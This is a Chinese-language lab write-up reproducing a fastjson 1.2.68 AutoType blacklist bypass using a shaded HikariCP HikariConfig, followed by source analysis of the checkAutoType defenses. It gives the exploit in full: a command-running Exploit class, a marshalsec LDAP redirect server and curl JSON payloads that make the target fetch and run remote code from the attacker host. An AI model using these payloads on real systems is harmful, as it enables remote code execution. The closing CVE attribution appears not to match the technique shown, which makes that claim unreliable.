fastjson shaded HikariCP 黑名单绕过复现 📅 2026/8/15 9:40:06 fastjson 1.2.68 shaded HikariCP 黑名单绕过复现一、前言在 fastjson 的漏洞历史中1.2.68 版本引入了safeMode核武器级防御同时完善了denyHashCodes黑名单和DataSource接口检查。很多人以为到了 1.2.68AutoType 绕过这条路就走到头了。但实际上fastjson 1.2.68 的黑名单存在一个根本性设计缺陷它基于包名前缀的 FNV1a-64 哈希值做匹配而 Java 生态中广泛使用的 Maven Shade 插件可以重定位包名让哈希值完全改变从而绕过黑名单。本文记录在 fastjson 1.2.68 环境上使用 shaded HikariCP重定位包名 HikariConfig绕过 DataSource 检查绕过两道防线的完整复现过程。二、环境说明角色IP说明Ubuntu 靶机192.168.3.xxxTomcat 9 JDK 8 fastjson 1.2.68Kali 攻击机192.168.3.xxxmarshalsec HTTP 服务项目目录~/lab/fastjson-labTomcat 路径/opt/tomcat9三、漏洞原理3.1 fastjson 1.2.68 的两道核心防线fastjson 1.2.68 的checkAutoType方法有两道关键防线第一道denyHashCodes 黑名单if ((!internalWhite) (autoTypeSupport || expectClassFlag)) { long h h3; for (int i 2; i className.length(); i) { h ^ className.charAt(i); h * PRIME; long hash hash(h); if (Arrays.binarySearch(denyHashCodes, hash) 0 TypeUtils.getClassFromMapping(typeName) null) { throw new JSONException(autoType is not support. typeName); } } }这段代码逐字符计算 FNV1a-64 哈希和denyHashCodes数组中的 109 个哈希值比对。如果类名前缀的哈希命中黑名单直接拒绝。com.zaxxer.hikari.这个前缀的哈希值是0x332F0B5369A18310在黑名单中。所以任何com.zaxxer.hikari.*下的类都会被拦截。第二道DataSource/RowSet/ClassLoader 接口检查if (ClassLoader.class.isAssignableFrom(clazz) || javax.sql.DataSource.class.isAssignableFrom(clazz) || javax.sql.RowSet.class.isAssignableFrom(clazz)) { throw new JSONException(autoType is not support. typeName); }类加载成功后检查目标类是否实现了DataSource、RowSet、ClassLoader三个危险接口。如果是直接拒绝。HikariDataSource实现了javax.sql.DataSource所以即使过了黑名单也会被这道防线拦截。3.2 绕过思路Shade 重定位 HikariConfig绕第一道墙Maven Shade 重定位包名Maven Shade 插件可以把依赖库的包名重定位。把com.zaxxer.hikari重定位为com.lab.shaded.hikari后原始包名shade 后包名com.zaxxer.hikari.HikariConfigcom.lab.shaded.hikari.HikariConfigcom.zaxxer.hikari.HikariDataSourcecom.lab.shaded.hikari.HikariDataSource包名变了FNV1a-64 哈希值也完全变了黑名单匹配不上 → 绕过。绕第二道墙用 HikariConfig 而非 HikariDataSourceHikariCP 的类继承关系HikariConfig父类 ├── 定义了 setMetricRegistry(Object) 方法 → 内部做 JNDI lookup ├── 不实现 javax.sql.DataSource → 过第二道墙 ✅ │ └── HikariDataSource子类继承 HikariConfig ├── 继承 setMetricRegistry() → 同样能触发 JNDI └── 实现 javax.sql.DataSource → 被第二道墙拦 ❌setMetricRegistry()这个触发 JNDI 的方法定义在父类HikariConfig上。直接用HikariConfigJNDI 照样触发但它不实现DataSource绕过接口检查。3.3 完整绕过路径shaded HikariConfig包名被重定位为 com.lab.shaded.hikari → 第一道墙denyHashCodes 黑名单哈希检查 → 原始包名 com.zaxxer.hikari. 的哈希在黑名单里 → 但 shade 后包名变了哈希变了匹配不上 → 通过 ✅ → 第二道墙DataSource 接口检查 → HikariConfig 不实现 DataSource → 通过 ✅ → 类加载成功创建实例 → 调用 setMetricRegistry(ldap://...) → 触发 JNDI lookup → 远程加载 Exploit.class → 命令执行3.4 四种组合对比类黑名单DataSource 检查结果com.zaxxer.hikari.HikariDataSource❌ 命中❌ 命中两道都死com.zaxxer.hikari.HikariConfig❌ 命中✅ 通过死在黑名单com.lab.shaded.hikari.HikariDataSource✅ 通过❌ 命中死在 DataSourcecom.lab.shaded.hikari.HikariConfig✅ 通过✅ 通过两道都过 ✅只有 shaded HikariConfig 的组合能同时绕过两道防线。3.5 前提条件条件要求原因AutoType开启需要进入 checkAutoType 的黑名单检查路径safeMode关闭safeMode 开了所有 type 直接禁用JDK 版本≤ 8u190LDAP 远程类加载需要 trustURLCodebasetrue四、环境搭建4.1 创建 shaded-hikari 子项目先单独打一个 shaded HikariCP 的 JAR再在主项目中引用。mkdir -p ~/lab/shaded-hikari/src/main/java cd ~/lab/shaded-hikari nano pom.xml完整 pom.xmlproject xmlnshttp://maven.apache.org/POM/4.0.0 xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd lt;modelVersiongt;4.0.0lt;/modelVersiongt; lt;groupIdgt;com.lablt;/groupIdgt; lt;artifactIdgt;shaded-hikarilt;/artifactIdgt; lt;versiongt;1.0lt;/versiongt; lt;packaginggt;jarlt;/packaginggt; lt;dependenciesgt; lt;dependencygt; lt;groupIdgt;com.zaxxerlt;/groupIdgt; lt;artifactIdgt;HikariCPlt;/artifactIdgt; lt;versiongt;3.4.5lt;/versiongt; lt;/dependencygt; lt;/dependenciesgt; lt;buildgt; lt;finalNamegt;shaded-hikarilt;/finalNamegt; lt;pluginsgt; lt;plugingt; lt;groupIdgt;org.apache.maven.pluginslt;/groupIdgt; lt;artifactIdgt;maven-compiler-pluginlt;/artifactIdgt; lt;versiongt;3.8.1lt;/versiongt; lt;configurationgt; lt;sourcegt;8lt;/sourcegt; lt;targetgt;8lt;/targetgt; lt;/configurationgt; lt;/plugingt; lt;plugingt; lt;groupIdgt;org.apache.maven.pluginslt;/groupIdgt; lt;artifactIdgt;maven-shade-pluginlt;/artifactIdgt; lt;versiongt;3.2.4lt;/versiongt; lt;executionsgt; lt;executiongt; lt;phasegt;packagelt;/phasegt; lt;goalsgt; lt;goalgt;shadelt;/goalgt; lt;/goalsgt; lt;configurationgt; lt;relocationsgt; lt;relocationgt; lt;patterngt;com.zaxxer.hikarilt;/patterngt; lt;shadedPatterngt;com.lab.shaded.hikarilt;/shadedPatterngt; lt;/relocationgt; lt;/relocationsgt; lt;createDependencyReducedPomgt;falselt;/createDependencyReducedPomgt; lt;/configurationgt; lt;/executiongt; lt;/executionsgt; lt;/plugingt; lt;/pluginsgt; lt;/buildgt; /project打包并安装到本地 Maven 仓库cd ~/lab/shaded-hikari mvn clean install验证 shade 是否生效jar tf target/shaded-hikari.jar | grep -i hikari应该看到包名已经变成com/lab/shaded/hikari/com/lab/shaded/hikari/HikariConfig.class com/lab/shaded/hikari/HikariDataSource.class ...4.2 修改主项目 pom.xmlcd ~/lab/fastjson-lab nano pom.xml完整内容project xmlnshttp://maven.apache.org/POM/4.0.0 xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd lt;modelVersiongt;4.0.0lt;/modelVersiongt; lt;groupIdgt;com.lablt;/groupIdgt; lt;artifactIdgt;fastjson-lablt;/artifactIdgt; lt;versiongt;1.0-SNAPSHOTlt;/versiongt; lt;packaginggt;warlt;/packaginggt; lt;dependenciesgt; lt;dependencygt; lt;groupIdgt;com.alibabalt;/groupIdgt; lt;artifactIdgt;fastjsonlt;/artifactIdgt; lt;versiongt;1.2.68lt;/versiongt; lt;/dependencygt; lt;!-- 使用 shaded 版本的 HikariCP包名已重定位 --gt; lt;dependencygt; lt;groupIdgt;com.lablt;/groupIdgt; lt;artifactIdgt;shaded-hikarilt;/artifactIdgt; lt;versiongt;1.0lt;/versiongt; lt;/dependencygt; lt;dependencygt; lt;groupIdgt;javax.servletlt;/groupIdgt; lt;artifactIdgt;javax.servlet-apilt;/artifactIdgt; lt;versiongt;3.1.0lt;/versiongt; lt;scopegt;providedlt;/scopegt; lt;/dependencygt; lt;/dependenciesgt; lt;buildgt; lt;finalNamegt;fastjson-lablt;/finalNamegt; lt;pluginsgt; lt;plugingt; lt;groupIdgt;org.apache.maven.pluginslt;/groupIdgt; lt;artifactIdgt;maven-compiler-pluginlt;/artifactIdgt; lt;versiongt;3.8.1lt;/versiongt; lt;configurationgt; lt;sourcegt;8lt;/sourcegt; lt;targetgt;8lt;/targetgt; lt;/configurationgt; lt;/plugingt; lt;/pluginsgt; lt;/buildgt; /project4.3 修改 ParseServlet.java — 开启 AutoTypenano src/main/java/com/lab/ParseServlet.java完整内容package com.lab; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.IOException; WebServlet(/parse) public class ParseServlet extends HttpServlet { Override public void init() { // 开启 AutoType —— 本次复现的前提条件 // 实战中开发者经常为了序列化业务类而开启 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); } Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { resp.setContentType(text/plain;charsetUTF-8); resp.getWriter().write(fastjson lab is running); } Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException { StringBuilder sb new StringBuilder(); BufferedReader br req.getReader(); String line; while ((line br.readLine()) ! null) { sb.append(line); } resp.setContentType(text/plain;charsetUTF-8); try { Object obj JSON.parseObject(sb.toString(), Object.class); resp.getWriter().write(parse success\n); resp.getWriter().write(String.valueOf(obj)); } catch (Throwable e) { resp.setStatus(500); resp.getWriter().write(parse error\n); e.printStackTrace(resp.getWriter()); } } }关键点init()方法中调用setAutoTypeSupport(true)开启 AutoType。这个方法在 Servlet 初始化时自动执行。4.4 web.xml — 保持空web-app xmlnshttp://xmlns.jcp.org/xml/ns/javaee xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd version3.1 /web-app4.5 确认 safeMode 没开grep -R safeMode /opt/tomcat9/bin/ /opt/tomcat9/conf/ # 无输出就对了五、打包与部署5.1 重新打包cd ~/lab/fastjson-lab mvn clean package看到BUILD SUCCESS后验证 WAR 内容jar tf target/fastjson-lab.war | grep -i hikari应该看到WEB-INF/lib/shaded-hikari-1.0.jar解开验证 shade 后的包名cd /tmp jar xf ~/lab/fastjson-lab/target/fastjson-lab.war WEB-INF/lib/shaded-hikari-1.0.jar jar tf WEB-INF/lib/shaded-hikari-1.0.jar | grep -i HikariConfig应该看到com/lab/shaded/hikari/HikariConfig.class包名已经是com.lab.shaded.hikarishade 生效了。5.2 部署到 Tomcat# 停 Tomcat sudo /opt/tomcat9/bin/shutdown.sh 清旧部署 sudo rm -rf /opt/tomcat9/webapps/fastjson-lab sudo rm -f /opt/tomcat9/webapps/fastjson-lab.war 放新 war sudo cp target/fastjson-lab.war /opt/tomcat9/webapps/ 启动 Tomcat sudo /opt/tomcat9/bin/startup.sh等 5 秒确认部署# 确认 fastjson 版本 ls /opt/tomcat9/webapps/fastjson-lab/WEB-INF/lib/ | grep -E fastjson|shaded # 应该看到: fastjson-1.2.68.jar 和 shaded-hikari-1.0.jar 测试接口 curl http://127.0.0.1:8080/fastjson-lab/parse 返回: fastjson lab is running六、攻击机准备Kali6.1 编写 Exploit.javamkdir -p ~/fastjson-exp cd ~/fastjson-exp nano Exploit.javapublic class Exploit { static { try { String[] cmd {/bin/sh, -c, whoami /tmp/pwned_shaded}; Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } }编译javac --release 8 Exploit.java ls -l Exploit.class6.2 靶机清理旧结果在靶机上执行sudo rm -f /tmp/pwned_shaded sudo rm -f /tmp/pwned_12686.3 启动 HTTP 服务终端 1cd ~/fastjson-exp python3 -m http.server 80006.4 启动 LDAP 服务终端 2cd ~/marshalsec java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \ marshalsec.jndi.LDAPRefServer http://192.168.3.xxx:8000/#Exploit 1389七、漏洞复现7.1 验证 AutoType 已开启先发一个普通 JdbcRowSetImpl 测试。AutoType 开了但 JdbcRowSetImpl 在黑名单里应该被拦curl -X POST http://192.168.3.xxx:8080/fastjson-lab/parse \ -H Content-Type: application/json \ -d {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://192.168.3.xxx:1389/Exploit,autoCommit:true}期望返回 500包含autoType is not support. com.sun.rowset.JdbcRowSetImpl这说明AutoType 开了能进入 checkAutoType但黑名单生效JdbcRowSetImpl 被拦。环境正确。7.2 测试原始包名 HikariConfig预期失败curl -X POST http://192.168.3.xxx:8080/fastjson-lab/parse \ -H Content-Type: application/json \ -d {type:com.zaxxer.hikari.HikariConfig,metricRegistry:ldap://192.168.3.xxx:1389/Exploit}期望返回 500包含autoType is not support. com.zaxxer.hikari.HikariConfig这说明原始包名com.zaxxer.hikari.在黑名单里被拦了。7.3 发送 shaded HikariConfig payload预期成功curl -X POST http://192.168.3.xxx:8080/fastjson-lab/parse \ -H Content-Type: application/json \ -d {type:com.lab.shaded.hikari.HikariConfig,metricRegistry:ldap://192.168.3.xxx:1389/Exploit}7.4 观察攻击链路LDAP 窗口终端 2应该看到Send LDAP reference result for Exploit redirecting to http://192.168.3.130:8000/Exploit.classHTTP 窗口终端 1应该看到192.168.3.136 - - GET /Exploit.class HTTP/1.1 2007.5 靶机验证cat /tmp/pwned_shaded输出用户名如root说明 shaded Hikari 绕过复现成功。八、完整攻击链路图Kali (192.168.3.xxx) Ubuntu 靶机 (192.168.3.xxx) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 终端1: python3 -m http.server 8000 (托管 Exploit.class) 终端2: marshalsec LDAP :1389 (LDAP reference 重定向) 终端3: curl 发送 payload POST http://192.168.3.xxx:8080/fastjson-lab/parse { type: com.lab.shaded.hikari.HikariConfig, metricRegistry: ldap://192.168.3.xxx:1389/Exploit } → fastjson 解析 JSON → AutoType 开启进入 checkAutoType → 第一道墙黑名单哈希检查 com.lab.shaded.hikari. 的哈希 不在 denyHashCodes 里 → 通过 ✅ → 第二道墙DataSource 接口检查 HikariConfig 不实现 DataSource → 通过 ✅ → 类加载成功创建 HikariConfig 实例 → 调用 setMetricRegistry(ldap://...) → 内部执行 InitialContext().lookup() → 触发 JNDI 查找 → 访问 Kali LDAP :1389 ← LDAP 返回 reference → 靶机去 Kali :8000 下载 Exploit.class ← 返回 Exploit.class → 加载 Exploit.class → static 代码块执行 → whoami /tmp/pwned_shaded 靶机验证: cat /tmp/pwned_shaded → root ✅九、源码深度分析9.1 checkAutoType 完整执行路径当 fastjson 收到 payload{type:com.lab.shaded.hikari.HikariConfig,metricRegistry:ldap://192.168.3.130:1389/Exploit}checkAutoType方法的执行路径如下关卡 1safeMode 检查boolean safeMode this.safeMode || (features safeModeMask) ! 0 || (JSON.DEFAULT_PARSER_FEATURE safeModeMask) ! 0; if (safeMode) { throw new JSONException(safeMode not support autoType : typeName); }我们的环境safeMode false→ 通过 ✅关卡 2类型名长度检查if (typeName.length() 192 || typeName.length() 3) { throw new JSONException(autoType is not support. typeName); }com.lab.shaded.hikari.HikariConfig长度 38在 3~192 之间 → 通过 ✅关卡 3expectClass 判定final boolean expectClassFlag; if (expectClass null) { expectClassFlag false; } else { if (expectClass Object.class || expectClass Serializable.class || expectClass Cloneable.class || expectClass Closeable.class || expectClass EventListener.class || expectClass Iterable.class || expectClass Collection.class ) { expectClassFlag false; } else { expectClassFlag true; } }本次没有双 typeexpectClass null→expectClassFlag false。但 AutoType 开了不影响后续流程。关卡 4黑名单哈希检查—— 核心关卡if ((!internalWhite) (autoTypeSupport || expectClassFlag)) { // autoTypeSupport true → 条件成立进入检查 long h h3; for (int i 2; i className.length(); i) { h ^ className.charAt(i); h * PRIME; long hash hash(h); if (Arrays.binarySearch(denyHashCodes, hash) 0 TypeUtils.getClassFromMapping(typeName) null) { throw new JSONException(autoType is not support. typeName); } } }逐字符扫描com.lab.shaded.hikari.HikariConfig前缀 com. → 哈希不在黑名单 前缀 com.l → 哈希不在黑名单 前缀 com.lab → 哈希不在黑名单 ... 前缀 com.lab.shaded.hikari. → 哈希不在黑名单 ...全程不命中 前缀 com.lab.shaded.hikari.HikariConfig → 全程不命中对比原始包名com.zaxxer.hikari.前缀 com.zaxxer.hikari. → 哈希 0x332F0B5369A18310 → 命中黑名单 ❌shade 重定位后包名完全变了哈希完全变了黑名单匹配不上 → 通过 ✅关卡 5第二次黑名单检查同样的哈希检查shaded 包名同样不命中 → 通过 ✅关卡 6类加载 DataSource 检查—— 第二道核心关卡if (autoTypeSupport || jsonType || expectClassFlag) { // autoTypeSupport true → 执行类加载 clazz TypeUtils.loadClass(typeName, defaultClassLoader, false); } if (clazz ! null) { // 关卡 6DataSource 接口检查 if (ClassLoader.class.isAssignableFrom(clazz) || javax.sql.DataSource.class.isAssignableFrom(clazz) || javax.sql.RowSet.class.isAssignableFrom(clazz)) { throw new JSONException(autoType is not support. typeName); } // ... return clazz; }检查com.lab.shaded.hikari.HikariConfig检查项结果是 ClassLoader否 ✅是 DataSource否 ✅HikariConfig 不实现 DataSource是 RowSet否 ✅如果这里用的是HikariDataSource是 DataSource →是 ❌ → 被拦所以必须用 HikariConfig → 通过 ✅关卡 7实例化 setter 调用fastjson 加载类成功后创建 HikariConfig 实例看到metricRegistry属性调用// HikariConfig.setMetricRegistry(Object) 方法内部 public void setMetricRegistry(Object metricRegistry) { // 内部执行 JNDI lookup InitialContext ctx new InitialContext(); ctx.lookup((String) metricRegistry); // metricRegistry ldap://192.168.3.130:1389/Exploit // → 触发 JNDI lookup }→ JNDI 请求发出 → LDAP 返回 Reference → 下载 Exploit.class → 命令执行9.2 FNV1a-64 哈希算法详解fastjson 使用 FNV1a-64 算法计算类名前缀哈希final long BASIC 0xcbf29ce484222325L; // FNV1a-64 初始值 final long PRIME 0x100000001b3L; // FNV1a-64 质数 // 逐字符计算 long hash BASIC; for (char c : className.toCharArray()) { hash (hash ^ c) * PRIME; }以com.zaxxer.hikari.为例初始值 0xcbf29ce484222325 ^ c(0x63) → * PRIME → 更新哈希 ^ o(0x6f) → * PRIME → 更新哈希 ^ m(0x6d) → * PRIME → 更新哈希 ...逐字符处理 ^ .(0x2e) → * PRIME → 最终哈希 0x332F0B5369A18310这个哈希值在denyHashCodes数组中所以被拦截。shade 后的com.lab.shaded.hikari.初始值 0xcbf29ce484222325 ^ c → * PRIME → ... ^ o → * PRIME → ... ^ m → * PRIME → ... ^ . → * PRIME → ... ^ l → * PRIME → ...和原始包名在第 4 个字符就分叉了 → 最终哈希 一个完全不同的值不在黑名单里从第 4 个字符开始com.l和com.z的哈希路径就完全不同了最终哈希值天差地别。十、核心教学意义10.1 哈希黑名单的根本缺陷fastjson 的 denyHashCodes 黑名单基于包名前缀的哈希值匹配。这种方式有两个根本缺陷缺陷 1只能拉黑已知包名黑名单里的 109 个哈希值对应的是已知危险类的包名前缀。任何不在列表中的包名包括重定位后的同构类都能绕过。缺陷 2Shade 重定位让哈希完全改变Maven Shade 是 Java 生态中非常常见的操作很多大型项目都会 shade 第三方依赖避免冲突。shade 后包名改变哈希值也跟着改变黑名单完全失效。10.2 接口检查的不完整性DataSource 接口检查只检查了目标类本身没有考虑继承关系。JNDI 触发方法在父类 HikariConfig 上但 DataSource 接口在子类 HikariDataSource 上。用父类就能绕过子类的接口检查。10.3 纵向绕过 vs 横向绕过绕过类型思路本次示例纵向绕过同一个库的继承链上下移动用 HikariConfig父类绕 HikariDataSource子类的 DataSource 检查横向绕过在不同库之间横跳shade 重定位让包名脱离黑名单覆盖范围shaded Hikari 同时使用了纵向和横向绕过两道防线同时攻破。十一、与 expectClass 绕过的对比expectClass 绕过shaded Hikari 绕过AutoType关闭开启绕的第一道AutoType 关闭用 expectClass 通道黑名单用 shade 重定位绕的第二道不需要DataSource 检查用 HikariConfig 父类payload 类型双 type单 typegadget 来源自定义类第三方库shade 后前提条件safeMode 关闭safeMode 关闭 AutoType 开启教学意义expectClass 机制的设计缺陷哈希黑名单的根本缺陷两个绕过利用的是 fastjson 1.2.68 的两个完全不同的设计缺陷。十二、验证清单检查项期望结果Tomcat 中实际 jar 是 fastjson-1.2.68.jar✅AutoType 已开启safeMode 未开启✅原始包名 HikariConfig 返回 autoType is not support✅ 证明黑名单生效shaded HikariConfig 触发 JNDI✅ 证明绕过成功LDAP 窗口有 Send LDAP reference result✅HTTP 窗口有 GET /Exploit.class 200✅靶机 cat /tmp/pwned_shaded 输出用户名✅ 证明命令执行十三、总结fastjson 1.2.68 的 denyHashCodes 黑名单虽然扩展到了 109 条覆盖了绝大多数已知危险类但它的根本设计缺陷在于基于包名哈希的黑名单无法防御重定位后的同构类。Maven Shade 是 Java 生态中非常常见的操作这让 shaded Hikari 绕过在实战中具有实际意义。配合 HikariConfig 绕过 DataSource 接口检查两道防线同时被攻破。这说明黑名单防御模式的局限性只能覆盖已知威胁无法防御未知变体。这也是 fastjson 最终在 1.2.83 之后选择重写 fastjson 2.x 的根本原因之一。漏洞编号CVE-2022-25845影响范围fastjson ≤ 1.2.80修复版本fastjson 1.2.83CVSS 3.x8.1高危